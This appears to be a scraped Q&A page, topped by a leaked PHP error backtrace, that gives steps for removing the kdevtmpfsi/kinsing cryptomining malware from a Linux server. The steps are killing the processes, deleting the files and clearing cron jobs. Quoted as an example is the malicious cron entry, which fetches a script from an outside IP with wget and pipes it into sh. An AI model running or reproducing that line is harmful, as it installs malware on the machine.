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A PHP Error was encountered

Severity: Notice

Message: Undefined index: userid

Filename: views/question.php

Line Number: 191

Backtrace:

File: /var/www/html/cnasolution/site/application/views/question.php
Line: 191
Function: _error_handler

File: /var/www/html/cnasolution/site/application/controllers/Questions.php
Line: 419
Function: view

File: /var/www/html/cnasolution/site/index.php
Line: 315
Function: require_once

This process is a mining program.

If you see your CPU usage is 100% and the process is kdevtmpfsi, probably you have infected.

kdevtmpfsi has a daemon process, killing the kdevtmpfsi process alone won't help. The name of the daemon is kinsing, and it needs to be killed alone with its cronjob.

Follow these steps to solve it.

Step 1: Find the process ids of kdevtmpfsi and kinsing, and kill them both using

kill -9 [PID]

Step 2: Delete two files using

rm -rf kdevtmpfsi & rm -rf kinsing (located at /var/tmp/ and /tmp/)

  • Remember to delete the files of this daemon, if you can't find it, you can also use this command to find them

find / -name kdevtmpfsi

find / -name kinsing

Last Step: Check /var/spool/cron/crontabs/ to see if any related Trojan timed tasks are being executed (www-data). If yes, delete them and restart crontab. probably it looks like this * * * * * wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1

That's it.

Hope this helps someone. Cheers !!!

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